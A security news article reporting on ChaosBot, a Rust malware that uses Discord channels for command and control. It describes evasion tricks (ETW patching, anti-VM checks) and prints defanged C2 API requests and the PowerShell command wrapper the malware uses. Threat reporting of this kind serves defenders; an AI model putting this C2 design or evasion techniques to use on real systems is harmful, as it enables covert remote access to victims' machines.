New Rust-Based ChaosBot Malware Leverages Discord for Stealthy Command and Control

A sophisticated new threat has emerged in the cybersecurity landscape, leveraging the popular communication platform Discord to conduct covert operations.

ChaosBot, a Rust-based malware strain, represents an evolution in adversarial tactics by hiding malicious command and control traffic within legitimate cloud service communications.

This approach allows attackers to blend seamlessly into normal network traffic, making detection significantly more challenging for traditional security solutions.

The malware operates through a carefully orchestrated infection chain that begins with either compromised VPN credentials or phishing campaigns using malicious Windows shortcut files.

Once executed, ChaosBot establishes persistent access by validating its Discord bot token and creating a dedicated private channel named after the victim’s computer.

This channel becomes an interactive command shell where attackers issue commands such as shell, download, and scr (screenshot), with results exfiltrated back as attached files through Discord’s API.

Picussecurity researchers identified the malware’s sophisticated evasion capabilities, which include patching the Windows Event Tracing (ETW) function to blind endpoint detection systems and performing anti-virtualization checks against known MAC address prefixes for VMware and VirtualBox environments.

These techniques demonstrate a deliberate effort to evade analysis in sandboxed security research environments.

Discord-Based Command and Control Infrastructure

ChaosBot’s technical implementation reveals a well-engineered C2 protocol built entirely on Discord’s API infrastructure.

Written in Rust and utilizing the reqwest or serenity library, the malware maintains communication through standard HTTPS requests that appear identical to legitimate Discord traffic.

Upon initial execution, ChaosBot validates its embedded bot token with a GET request to hxxps://discord[.]com/api/v10/users/@me.

Following successful authentication, it creates a victim-specific channel using a POST request:-

POST hxxps://discord[.]com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels 
{"name":"<VICTIM_COMPUTER_NAME>","type":0}

Command execution relies on a continuous polling mechanism that checks for new messages in the victim’s channel.

When operators issue shell commands, ChaosBot forces UTF8 encoding through PowerShell: powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND>".

The command output, screenshots, or downloaded files are then uploaded back to Discord as multipart/form-data attachments, creating a fully functional remote access capability through a platform trusted by most corporate firewalls and security appliances.

Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Hackers Target AI Infrastructure With RCE, Prompt Injection and API Key Theft

Hackers are actively probing AI systems, turning exposed gateways and agent tools into routes for…

5 hours ago

Hackers Make Phishing Pages Change Their Code Every Time Someone Opens Them

Hackers are making some phishing pages harder to track by changing the code delivered to…

5 hours ago

Iran-Linked Hackers Reportedly Knock UK Power Plant Offline for Four Days

A cyber incident reportedly forced a British power plant to halt operations for about four…

6 hours ago

Russian Hackers Use New HOOKEDGE Malware to Spy on European Defense and Diplomatic Targets

Russian hackers have used a new backdoor called HOOKEDGE to target defense manufacturers, government bodies,…

6 hours ago

Ransomware Gang Claims AI Can Analyze 700GB of Stolen Data Every Hour

TITAN ransomware is pairing file encryption with an ambitious claim: artificial intelligence that can sort…

6 hours ago

Hackers Compromise Hundreds of WordPress Sites to Deploy Amatera Stealer via ClickFix

A fake student resume is being used to place a remote-access tool on researchers’ Windows…

8 hours ago